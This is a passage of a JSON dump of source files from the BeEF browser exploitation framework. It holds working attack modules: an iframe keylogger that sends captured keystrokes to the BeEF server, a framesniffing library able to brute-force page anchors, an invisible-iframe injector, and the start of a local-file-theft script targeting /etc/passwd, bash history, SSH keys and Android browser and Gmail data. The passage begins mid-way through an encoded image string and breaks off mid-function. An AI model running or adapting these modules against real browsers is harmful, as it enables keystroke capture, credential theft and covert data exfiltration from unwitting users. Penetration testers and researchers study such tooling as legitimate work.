8\\x93\\x38\\x9a\\x98\\x82\\xb0\\x60\\x7f\\x8c\\x1f\\x19\\x8d\\x11\\xd1\\x91\\x18\\x3d\\x2a\\x0a\\x61\\x61\\x21\\x70\\x73\\x75\\xe5\\x1e\\x2a\\xbd\\x5e\\xcf\\x39\\x37\\xb7\\x00\\xc9\\xc9\\x67\\x91\\x74\\x86\\x71\\x4a\\x2a\\x4e\\x26\\xa7\\x20\\x27\\xfb\\x82\\xe0\\xdd\\xa2\\x79\\xe3\\x5a\\xab\\xdb\\x1c\\x5f\\x33\\x7e\\x12\\xb6\\xd1\\xae\\x5f\\xa2\\xab\\x00\\x20\\x44\\xd4\\xcd\\x8f\\xf2\\x92\\x5e\\x63\\x6a\\x90\\x06\\x2e\\x1a\\x1e\\x20\\x4c\\x4f\\x39\\x8f\\xf4\\xa4\\x0c\\xfc\\x68\\xb7\\x05\\x0a\\xad\\x9a\\xad\\x77\\x3b\\xa8\\x14\\x0a\\xb8\\x69\\x9d\\xa0\\x6b\\xd0\\xa3\\x96\\xa9\\x62\\x06\\xa3\\x09\\xb5\\x34\\x0f\\xa4\\x5a\\x27\\x04\\x09\\xa9\\x87\\x16\\xa9\\x53\\x2e\\x2a\\x6b\\x07\\x03\\xa9\\xe6\\xe2\\x25\\x08\\x23\\x8b\\x25\\x92\\xa8\\x5f\\x01\\x42\\xf4\\x3e\\x04\\x37\\xe9\\xab\\x6c\\x61\\x4f\\xe3\\x69\\x1f\\x4e\\xe2\\xee\\xcf\\xd6\\x79\\x63\\xbd\\x1e\\x55\\x75\\x42\\x43\\x8a\\xd2\\xc2\\x32\\xb1\\xa9\\x9c\\x68\\x53\\x58\\xfa\\x5f\\xb5\\x34\\x31\\xac\\x0b\\x0e\\x02\\xef\\x63\\x10\\x66\\x81\\x4b\\x24\\xd1\\x65\\x01\\x08\\x11\\xb5\\xaa\\xa1\\x1c\\x13\\x0a\\xb2\\xdd\\x0d\\xa1\\xc5\\x7e\\x50\\x53\\x9e\\x94\\x25\\xbe\\xa7\\xea\\xd7\\x86\\x04\\xa4\\x4a\\xdd\\x07\\xc1\\x5b\\x25\\x91\\x44\\x97\\x15\\x20\\x44\\xd4\\x43\\x89\\x8a\\x83\\x7e\\xe1\\xe0\\x00\\x46\\x30\\x9e\\xc2\\x78\\xa4\\x08\\x18\\xbf\\x7e\\xfc\\x7d\\xe4\\xa9\\xa2\\x7a\\xef\\x4d\\xd2\\xad\\x96\\xc8\\x56\\x00\\xd2\\xa4\\x24\\x41\\x68\\x6c\\x9d\\x25\\x2e\\x50\\x92\\x23\\x34\\xf9\\xf6\\x76\\xc6\\x7f\\x61\\x3c\\xb8\\x1f\\x24\\x87\\x04\\x0e\\x89\\x2e\\x89\\xfa\\x73\\x86\\x19\\x01\\x86\\x3a\\xff\\x7d\\x00\\xa1\\x9e\\xfd\\x97\\x3e\\x96\\x1c\\xf7\\x48\\xe0\\x90\\x68\\x20\\x01\\xa4\\x25\\x65\\x89\\x92\\x84\\x7a\\x6a\\x59\\xbb\\xd8\\x88\\xba\\x36\\xdc\\x89\\x8b\\x4f\\x5a\\x92\\x48\\x22\\x9b\\x05\\x08\\x11\\x75\\x93\\x7b\\x8f\\xf1\\x7c\\x2b\\xee\\xf4\\xd4\\x4e\\x87\\xaa\\xac\\xb6\\x4a\\xb7\\x56\\xa2\\x81\\x0e\\x10\\x0b\\x1d\\x65\\xbc\\x04\\x42\\x83\\x03\\x72\\xc3\\x9e\\x43\\xe7\\x13\\x58\\x3b\\x23\\x1a\\x1b\\x46\\xc9\\x86\\x34\\x71\\x37\\x5e\\xba\\xad\\x12\\x0d\\x04\\x23\\xbd\\x27\\x44\\xa9\\xe5\\x7b\\x44\\x26\\x2f\\x57\\x14\\x84\\x81\\x94\\x43\\x19\\x87\\x33\\xa6\\x7c\\x15\\x67\\x34\\xb7\\xb4\\x26\\x00\\xe5\\x41\\x28\\x7d\\xa5\\x21\\xf6\\xbb\\x20\\x15\\x34\\x49\\xd4\\x07\\xf4\\xff\\x05\\x18\\x00\\x7c\\x62\\x9e\\xd7\\xaf\\x91\\x9f\\x33\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/iframe_keylogger/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    // logged keystrokes array\n    var stream = new Array();\n\n    // add the pressed key to the keystroke stream array\n    function keyPressHandler(evt) {\n        evt = evt || window.event;\n        if (evt) {\n            var keyCode = evt.charCode || evt.keyCode;\n            charLogged = String.fromCharCode(keyCode);\n            stream.push(charLogged);\n        }\n    }\n\n    // creates the overlay 100% width/height iFrame\n    overlay = beef.dom.createIframe('fullscreen', {'src':\"<%= @iFrameSrc %>\", 'id':\"overlayiframe\", 'name':\"overlayiframe\"}, {}, null);\n\n    if(beef.browser.isIE()){\n       // listen for keypress events on the iFrame\n        function setKeypressHandler(windowOrFrame, keyHandler) {\n            var doc = windowOrFrame.document;\n            if (doc) {\n                if (doc.attachEvent) {\n                    doc.attachEvent(\n                        'onkeypress',\n                        function () {\n                            keyHandler(windowOrFrame.event);\n                        }\n                    );\n                }\n                else {\n                    doc.onkeypress = keyHandler;\n                }\n            }\n        }\n\n        setKeypressHandler(window.frames.overlayiframe, keyPressHandler);\n\n    }else{\n        document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);\n    }\n\n    // every N seconds send the keystrokes back to BeEF\n    setInterval(function queue() {\n        var keystrokes = \"\";\n        if (stream.length > 0) {\n            for (var i = 0; i < stream.length; i++) {\n                keystrokes += stream[i] + \"\";\n            }\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"keystrokes=\" + keystrokes);\n                stream = new Array();\n            }\n        }, <%= @sendBackInterval %>)\n});\n"
  },
  {
    "path": "modules/misc/iframe_keylogger/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        iframe_keylogger:\n            enable: true\n            category: \"Misc\"\n            name: \"iFrame Event Key Logger\"\n            description: \"Creates a 100% by 100% iFrame overlay with event logging. The content of the overlay is set in the 'iFrame Src' option.\"\n            authors: [\"antisnatchor\"]\n            target:\n                working: \"All\"\n                not_working: \"O\"\n"
  },
  {
    "path": "modules/misc/iframe_keylogger/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Iframe_keylogger < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'iFrameSrc', 'ui_label' => 'iFrame Src', 'type' => 'textarea', 'value' => '/demos/secret_page.html', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'sendBackInterval', 'ui_label' => 'Send Back Interval (ms)', 'value' => '2000', 'width' => '100px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['keystrokes'] = @datastore['keystrokes']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/misc/iframe_sniffer/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nbeef.execute(function() {\n  var inputURL = '<%= @inputUrl %>';\n  var anchorsToCheck = '<%= @anchorsToCheck %>';\n  var arrayOfAnchorsToCheck = [];\n\n  //the anchors should be separated with ','\n  //remove tabs, newlines, carriage returns and spaces\n  anchorsToCheck = anchorsToCheck.replace(/[ \\t\\r\\n]/g,'');\n  arrayOfAnchorsToCheck = anchorsToCheck.split(',');\n\n  var resultList = [];\n  var resultString = '';\n \n  //check if the leakyframe library is loaded\n  //if not add it to the DOM \n  if (typeof LeakyFrame !== 'function'){\n    var leakyscript = document.createElement('script');\n\n    leakyscript.setAttribute('type', 'text/javascript');\n    leakyscript.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/leakyframe.js');\n    var theparent = document.getElementsByTagName('head')[0];\n    theparent.insertBefore(leakyscript, theparent.firstChild);\n  }\n\n  var timeout = 100;\n  \n  //give the DOM some time to load the library\n  poll = function(){\n    setTimeout(function(){\n      timeout--; \n        if (typeof LeakyFrame === 'function') {\n          new LeakyFrame(inputURL, \n            function(frame){\n              //check each anchor\n              for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){\n                if (frame.checkID(arrayOfAnchorsToCheck[anchor])){\n                  resultList.push('Exists');\n                }\n                else{\n                  resultList.push('Does not exist');\n                }\n              }\n              frame.remove();\n\n              //create the resultstring\t\n              for (var i = 0; i < resultList.length; i++){\n                resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; ';\n              }\n\n              beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString);\n            },false);\n          }\n          else if (timeout > 0){\n            poll();\n          }\n          else {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occurred!');\n          }\n       }, 100);\n    };\n\n  poll();\n});\n\n"
  },
  {
    "path": "modules/misc/iframe_sniffer/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        iframe_sniffer:\n            enable: true\n            category: \"Misc\"\n            name: \"iFrame Sniffer\"\n            description: \"This module attempts to do framesniffing (aka Leaky Frame).  It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a URL.<br />For more information, refer to <a href='https://www.contextis.com/en/blog/framesniffing-against-sharepoint-and-linkedin'>https://www.contextis.com/en/blog/framesniffing-against-sharepoint-and-linkedin</a>\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"S\", \"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/misc/iframe_sniffer/leakyframe.js",
    "content": "/**\r\n * LeakyFrame JS Library\r\n *\r\n * Copyright (c) 2012 Paul Stone\r\n * \r\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this \r\n * software and associated documentation files (the \"Software\"), to deal in the Software \r\n * without restriction, including without limitation the rights to use, copy, modify, \r\n * merge, publish, distribute, sublicense, and/or sell copies of the Software, and to \r\n * permit persons to whom the Software is furnished to do so, subject to the following \r\n * conditions:\r\n * \r\n * The above copyright notice and this permission notice shall be included in all copies \r\n * or substantial portions of the Software.\r\n * \r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, \r\n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A \r\n * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT \r\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION \r\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE \r\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n *\r\n */\r\n\r\n \r\n/*\r\n\r\nThis JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique. \r\nCurrently (as of Mar 2012) the technique works in IE8, IE9 and most \r\nwebkit-based browsers.\r\n\r\nExample usage:\r\n\r\nnew LeakyFrame('http://example.com', function(frame) {\r\n\tif (frame.checkID('login-form')) {\r\n\t\talert(\"You're not logged in\");\r\n\t\tframe.remove();\r\n\t\treturn;\r\n\t}\r\n\r\n\tvar anchors = {'foo', 'bar', 'baz'};\r\n\tvar frags = frame.findFrags(anchors);\r\n\talert('Found the following anchors on the page: ' + frags.join(', '));\r\n}\r\n\r\n\r\nRedirects\r\n---------\r\nMake sure that the URL you're loading doesn't redirect to a different URL, \r\nas this can break anchor checking in some browsers and will slow down\r\nchecks for multiple anchors (e.g. brute-forcing). \r\n\r\nE.g. You create LeakyFrame with http://foo.com/somepage and it redirects \r\nto http://foo.com/somepage?98723945\r\n\r\nThe reason for this is that the JS code can't know the URL that the frame \r\nhas redirected to (due to same-origin policy). When changing the #fragment \r\nat the end of the URL to check for an anchor, the entire URL must be \r\nreset using window.location. So if a redirect has occurred, the original\r\nURL will be loaded in the iframe, causing a full page load and another \r\nredirect to occur.\r\n\r\nSome browsers will preserve URL fragments across page redirects (Chrome \r\ndoes, and I think IE10 does now too). For those browsers you can create \r\na LeakyFrame and pass in a URL with an fragment already on the end, then \r\ncall frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs\r\nand findFirstMatchingURL methods should also work with redirects.\r\n\r\n*/\r\n \r\n/** \r\n * Creates a new LeakyFrame object \r\n *\r\n * This constructor creates a nested iframes and loads 'url' into the inner one\r\n * The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer\r\n * frame to scroll when checking for anchors.\r\n *\r\n * @param url - URL to load into the iframe. \r\n * @param callback - A function that will be called when the frame has loaded. The \r\n * the callback function will be passed the newly created LeakyFrame object\r\n * @param debug - If true, the created frames will be made visible and outer\r\n * frame will be made larger (140x140)\r\n */\r\nfunction LeakyFrame(url, callback, debug) {\r\n    var outer = document.createElement('iframe');\r\n    outer.setAttribute('frameBorder', '0');\r\n    outer.setAttribute('scrolling', 'no')\r\n    document.body.appendChild(outer);\r\n \r\n    outer.contentWindow.document.open();\r\n    outer.contentWindow.document.close();\r\n    \r\n    var inner = outer.contentWindow.document.createElement('iframe');\r\n    inner.setAttribute('frameBorder', '0');\r\n\r\n    outer.contentWindow.document.body.style.margin = 0;\r\n    outer.contentWindow.document.body.style.padding = 0;\r\n    inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;');\r\n    \r\n    if (!debug)\r\n    \touter.setAttribute('style', 'border:none;opacity:0');\r\n\r\n    outer.contentWindow.document.body.appendChild(inner);\r\n    \r\n    outer.width = 10;\r\n    outer.height = 10;\r\n    if (debug) {\r\n        outer.width=140;\r\n        outer.height=140;\r\n    }\r\n    this.outer = outer; // outer iframe element\r\n    this.inner = inner; // inner iframe element\r\n    this.innerWin = inner.contentWindow; // window object of outer iframe \r\n    this.outerWin = outer.contentWindow; // window object of inner iframe\r\n    this.outerDoc = outer.contentWindow.document; // document of outer iframe\r\n    this.removed = false;\r\n    if (callback)\r\n    \tthis.load(url, callback);\r\n}\r\n\r\n/**\r\n * Load a new URL into the inner iframe and do a callback when it's loaded\r\n */\r\nLeakyFrame.prototype.load = function(url, callback) {\r\n    this.inner.contentWindow.location = url;\r\n    var me = this;\r\n    var f = {};\r\n    f.fn = function() {   \r\n    \tif (me.inner.removeEventListener)\r\n    \t\tme.inner.removeEventListener('load', f.fn);\r\n    \telse if (me.inner.detachEvent)\r\n    \t\tme.inner.detachEvent('onload', f.fn);\r\n    \t\r\n        me.currentURL = me._stripFragment(url);\r\n        if (callback)\r\n            callback(me);\r\n    }\r\n    if (this.inner.addEventListener) \r\n    \tthis.inner.addEventListener('load', f.fn, false);\t\r\n    else if (this.inner.attachEvent)\r\n    \tthis.inner.attachEvent('onload', f.fn);\r\n}\r\n\r\n\r\n/**\r\n * Find the current scroll position of the outer iframe\r\n * (should correspond to the position of the current anchor\r\n *  in the inner iframe)\r\n * @return object with .x and .y properties\r\n */\r\nLeakyFrame.prototype.getPos = function() {\r\n    var x = this.outerDoc.body.scrollLeft;\r\n    var y = this.outerDoc.body.scrollTop;\r\n    return {x:x, y:y};\r\n}\r\n\r\n\r\n/**\r\n * Reset the scroll position of the iframe\r\n */\r\nLeakyFrame.prototype.resetPos = function() {\r\n\tthis.outerWin.scrollTo(0,0);\t\r\n}\r\n\r\n/**\r\n * Checks if the iframe has scrolled after being reset\r\n */\r\nLeakyFrame.prototype.nonZero = function() {\r\n    var pos = this.getPos();\r\n    return (pos.x > 0 || pos.y > 0);\r\n};\r\n\r\n/**\r\n * Check if anchor 'id' exists on the currently loaded page\r\n * This works by first resetting the scroll position, adding \r\n * #id onto the end of the current URL and then seeing if \r\n * the scroll position has changed.\r\n *\r\n * Optional parameters x and y specify the initial scroll \r\n * position and default to 0. Useful in some cases where\r\n * weird scrolling behaviour causes the page to scroll to\r\n * (0,0) if an anchor is found.\r\n * \r\n * @return boolean - true if the anchor exists\r\n */\r\nLeakyFrame.prototype.checkID = function(id, x, y) {\r\n\tif (!x) x = 0;\r\n\tif (!y) y = 0;\r\n    this.outerWin.scrollTo(x,y);\r\n    this.innerWin.location = this.currentURL + '#' + id;    \r\n    var result = this.getPos();\r\n    return (result.x != x || result.y != y);\r\n}\r\n\r\n/**\r\n * Given an array of ids, will check the current page to see which\r\n * corresponding anchors exist. It will return a dictionary of \r\n * positions for each matched anchor.\r\n * \r\n * This can be incredibly quick in some browsers (checking 10s or\r\n * 100s of IDs per second), so could be used for things like \r\n * brute-forcing things like numeric user IDs or lists of product\r\n * codes.\r\n * \r\n * @param ids - an array of IDs to be checked\r\n * @param templ - optional template which is used to make the URL\r\n * fragment. If the template is 'prod{id}foo' and you pass in the \r\n * array [5,6,7], then it will check for anchors: \r\n * prod5foo, prod6foo and prod7foo\r\n * @return a dictionary containing matched IDs as keys and an\r\n * array [x,y] as values\r\n */\r\nLeakyFrame.prototype.findFragPositions = function(ids, templ) {\r\n    this.outerWin.scrollTo(0,0);\r\n    if (templ) {\r\n        var newids = [];\r\n        for (var i = 0; i < ids.length; i++) \r\n            newids.push(templ.replace('{id}', ids[i]));\r\n    } else {\r\n        newids = ids;\r\n    }\r\n    var positions = {};\r\n    for (var i = 0; i < ids.length; i++) {\r\n        var id = newids[i];\r\n        //this.outerWin.scrollTo(0,0);\r\n        this.innerWin.location = this.currentURL + '#' + id; \r\n        var x = this.outerDoc.body.scrollLeft;\r\n        var y = this.outerDoc.body.scrollTop;\r\n\r\n        if (x || y) {\r\n            positions[ids[i]] = [x, y];\r\n            this.outerWin.scrollTo(0,0);\r\n        }\r\n    }\r\n    return positions;\r\n}\r\n\r\n/** \r\n * Same as findFragPositions but discards the positions\r\n * and returns only an array of matched IDs.\r\n */\r\nLeakyFrame.prototype.findFrags = function(ids, templ) {\r\n    var found = this.findFragPositions(ids, templ);\r\n    var ids = [];\r\n    for (var id in found)\r\n        ids.push(id);\r\n    return ids;\r\n}\r\n\r\nLeakyFrame.prototype._stripFragment = function(url) {\r\n    var pos = url.indexOf('#');\r\n    if (pos < 0) return url;\r\n    this.loadFrag = url.substr(pos+1);\r\n    return url.substr(0, pos)\r\n}\r\n\r\n/**\r\n * Removes the iframe from the document.\r\n * If you're creating lots of LeakyFrame instances\r\n * you should call this once you're done with each\r\n * frame to free up memory.\r\n */\r\nLeakyFrame.prototype.remove = function() {\r\n    if (this.removed) return;\r\n    this.outer.parentNode.removeChild(this.outer);\r\n    this.removed = true;\r\n}\r\n\r\n\r\n/**\r\n * Load a bunch of URLs to find which ones have a matching fragment \r\n * (i.e. cause the page to scroll). (static method)\r\n * \r\n * @param url - a base URL to check with {id} where id will go \r\n * (e.g http://www.foo.com/userprofile/{id}#me)\r\n * @param ids - dictionary of key:value pairs. the keys will be \r\n * used to replace {id} in each url\r\n * @param callback - a function that gets called when an id is found. \r\n * It gets passed the matching key and value\r\n * @param finishedcb - a function that gets called when all the urls \r\n * have been checked. It gets passed true if any URLs were matched\r\n */\r\nLeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) {\r\n    var maxConcurrent = 3;\r\n    var inProgress = 0;\r\n    var todo = [];\r\n    var interval;\r\n    var loadCount = 0;\r\n    var allFound = {};\r\n    var allPositions = {};\r\n    var framePool = {};\r\n    var found = 0;\r\n    var cancelled = false;\r\n    for (var key in ids)  {\r\n        todo.push(key);\r\n        loadCount++;\r\n    }\r\n\r\n    var cancel = function() { \r\n    \tcancelled = true;\r\n        for (var i in framePool) \r\n            framePool[i].remove();\r\n        if (interval)\r\n            window.clearInterval(interval);\r\n    }\r\n    \r\n    var cb = function(f, foundFrag) {\r\n        inProgress--;\r\n        loadCount--;\r\n  \r\n        if (f.nonZero()) {\r\n            found++;\r\n            var foundVal = ids[foundFrag];\r\n            var foundPos = f.getPos();\r\n            allFound[foundFrag] = foundVal;\r\n            allPositions[foundFrag] = foundPos;\r\n            \r\n            if (!cancelled)\r\n            \tcallback(foundFrag, foundVal, foundPos, allFound, allPositions);\r\n            if (stopOnFirst)\r\n                cancel();\r\n        }\r\n        if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany\r\n            (loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found)\r\n            finishedcb(found > 0, allFound, allPositions);\r\n        f.remove();\r\n        delete framePool[foundFrag];\r\n    }\r\n    \r\n    var loadMore = function() {\r\n        if (todo.length == 0) {\r\n            // no more ids to do \r\n            window.clearInterval(interval);\r\n            interval = null;\r\n        }\r\n        if (inProgress >= maxConcurrent) {\r\n            // queue full, waiting\r\n            return;\r\n        }\r\n        var loops = Math.min(maxConcurrent - inProgress, todo.length);\r\n        for (var i=0; i < loops; i++) {\r\n            inProgress++;\r\n            var nextID = todo.shift();\r\n            var thisurl = url.replace('{id}', nextID);\r\n\r\n            framePool[nextID] = new LeakyFrame(thisurl, function(n){ \r\n                    return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome\r\n                }(nextID)\r\n            );\r\n        }\r\n    }\r\n    interval = window.setInterval(loadMore, 500);\r\n}\r\n\r\n\r\n/**\r\n * Same as findManyMatchingURLs but stops after the first match is found\r\n *\r\n * @param url - a base URL to check with {id} where id will go \r\n * (e.g http://www.foo.com/userprofile/{id}#me)\r\n * @param ids - dictionary of key:value pairs. the keys will be used to \r\n * replace {id} in each url\r\n * @param successcb - a function that gets called when an id is found. \r\n * It gets passed the matching key and value\r\n * @param failcb - a function that gets called if no ids are found\r\n * @param finalcb - a function that gets called after either sucess or failure\r\n */\r\nLeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) {\r\n    var s = function(k, v) {\r\n        successcb(k, v);\r\n        if (finalcb)\r\n        \tfinalcb();\r\n    }\r\n    var f = function() {\r\n    \tif (failcb) \r\n    \t\tfailcb();\r\n    \tif (finalcb)\r\n    \t\tfinalcb();\r\n    }\r\n    return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true);\r\n}\r\n"
  },
  {
    "path": "modules/misc/iframe_sniffer/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Iframe_sniffer < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/iframe_sniffer/leakyframe.js', '/leakyframe', 'js')\n  end\n\n  def self.options\n    [\n      { 'name' => 'inputUrl', 'ui_label' => 'input URL', 'type' => 'textarea', 'value' => 'http://en.wikipedia.org/wiki/Beef', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'anchorsToCheck', 'ui_label' => 'anchors to check', 'value' => 'History,Exploit,Etymology,References,ABCDE', 'type' => 'textarea', 'width' => '400px',\n        'height' => '100px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['resultList'] = @datastore['resultList']\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('leakyframe.js')\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/misc/invisible_iframe/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar target = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@target) %>'));\n\tvar iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\tiframe_<%= @command_id %>.setAttribute('src', target);\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=IFrame created');\n\n});\n"
  },
  {
    "path": "modules/misc/invisible_iframe/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        invisible_iframe:\n            enable: true\n            category: \"Misc\"\n            name: \"Create Invisible Iframe\"\n            description: \"Creates an invisible iframe.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/misc/invisible_iframe/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Invisible_iframe < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'target', 'ui_label' => 'URL', 'value' => 'https://beefproject.com/' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/local_file_theft/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// local_file_theft\n//\n// Shamelessly plagurised from kos.io/xsspwn\n\nbeef.execute(function() {\n\nresult = '';\n       \n    fileList = ['linux','mac','ios','android','windows']\n\n\n    fileList['linux']=  {\n\t\t\t\t    // How do we discover users?\n\t\t\t\t    \"discover\"\t:'/etc/passwd',\n\n\t\t\t\t    // Okay, we found them, what do we pillage?\n\t\t\t\t    \"post\" \t\t:{\n\t\t\t\t\t\t\t    'bashHistory':'.bash_history',\n\t\t\t\t\t\t\t    'sshHosts':'.ssh/known_hosts',\n\t\t\t\t\t\t\t    'sshKeys':'.ssh/id_rsa.pub',\n\t\t\t\t\t\t\t    'firefoxProfiles':'.mozilla/firefox/profiles.ini',\n\t\t\t\t\t\t\t    'chromeBookmarks':'.config/chromium/Default/Bookmarks'\n\t\t\t\t\t\t\t    }\n\t\t\t\t    }\n\n    fileList['mac']=  {\n\t\t\t\t    // How do we discover users?\n\t\t\t\t    \"discover\"\t:'/Library/Preferences/com.apple.loginwindow.plist',\n\n\t\t\t\t    // Okay, we found them, what do we pillage?\n\t\t\t\t    \"post\" \t\t:{\n\t\t\t\t\t\t\t    'bashHistory':'.bash_history',\n\t\t\t\t\t\t\t    'sshHosts':'.ssh/known_hosts',\n\t\t\t\t\t\t\t    'sshKeys':'.ssh/id_rsa.pub',\n\t\t\t\t\t\t\t    'firefoxProfiles':'.mozilla/firefox/profiles.ini',\n\t\t\t\t\t\t\t    'chromeBookmarks':'.config/chromium/Default/Bookmarks'\n\t\t\t\t\t\t\t    }\n\t\t\t\t    }\n\n    fileList['android']=  {\n\t\t\t\t    // Instead of how, just figure out the currently in use appi\n\t\t\t\t    \"discover\"\t:'/proc/self/status',\n\n\t\t\t\t    // Okay, we found them, what do we pillage?\n\t\t\t\t    \"post\" \t\t:{\n\t\t\t\t\t\t\t    'browser_data':'/data/data/com.android.browser/databases/webview.db',\n\t\t\t\t\t\t\t    'browser_data2':'/data/data/com.android.browser/databases/browser.db',\n\t\t\t\t\t\t\t    'gmail_accounts':'/data/data/com.google.android.gm/shared_prefs/Gmail.xml',\n\t\t\t\t\t\t\t    'dolpin_data':'/data/data/mobi.mgeek.TunnyBrowser/databases/webview.db',\n\t\t\t\t\t\t\t    'dolpin_data2':'/data/data/mobi.mgeek.TunnyBrowser/databases/browser.db',\n\t\t\t\t\t\t\t    'chromeBookmarks':'.config/chromium/Default/Bookmarks'\n\t\t\t\t\t\t\t    }\n\t\t\t\t    }\n\n    fileList['ios']=  {\n\t\t\t\t    // WHAT IS THIS I DON'T EVEN\n\t\t\t\t    \"discover\"\t:'',\n\n\t\t\t\t    \"post\" \t\t:{\n\t\t\t\t\t\t\t    'iPadEtcHosts':'/etc/hosts'\n\t\t\t\t\t\t\t    }\n\t\t\t\t    }\n\n    fileList['windows']=  {\n\t\t\t\t    // Meh, who cares\n\t\t\t\t    \"discover\"\t:'',\n\n\t\t\t\t    \"post\" \t\t:{\n\t\t\t\t\t\t\t    'bootini':'/c:/boot.ini',\n\t\t\t\t\t\t\t    'hosts':'/c:/WINDOWS/system32/drivers/etc/hosts'\n\t\t\t\t\t\t\t    }\n\t\t\t    }\n\n    fileList['custom']=  {\n\t\t\t\t    // user defined\n\t\t\t\t    \"discover\"\t:'',\n\n\t\t\t\t    \"post\" \t\t:{\n\t\t\t\t\t\t\t    'result':'<%== @target_file %>',\n\t\t\t\t\t\t\t    }\n\t\t\t    }\n\n\n    functionList = {\n\t\t\t    mac:{\n\t\t\t\t    // OS X disovery\n\t\t\t\t    discover : function(){\n\t\t\t\t\t\t\t\t\t    tmp = new XMLHttpRequest()\n\t\t\t\t\t\t\t\t\t    tmp.open('get',\"file:///\"+fileList['mac']['discover'])\n\t\t\t\t\t\t\t\t\t    tmp.send()\n\t\t\t\t\t\t\t\t\t    tmp.onreadystatechange=function(){\n\t\t\t\t\t\t\t\t\t\t    if(tmp.readyState==4){\n                                                // TODO \n                                                // Understand plist format to _reliably_ pull out username with 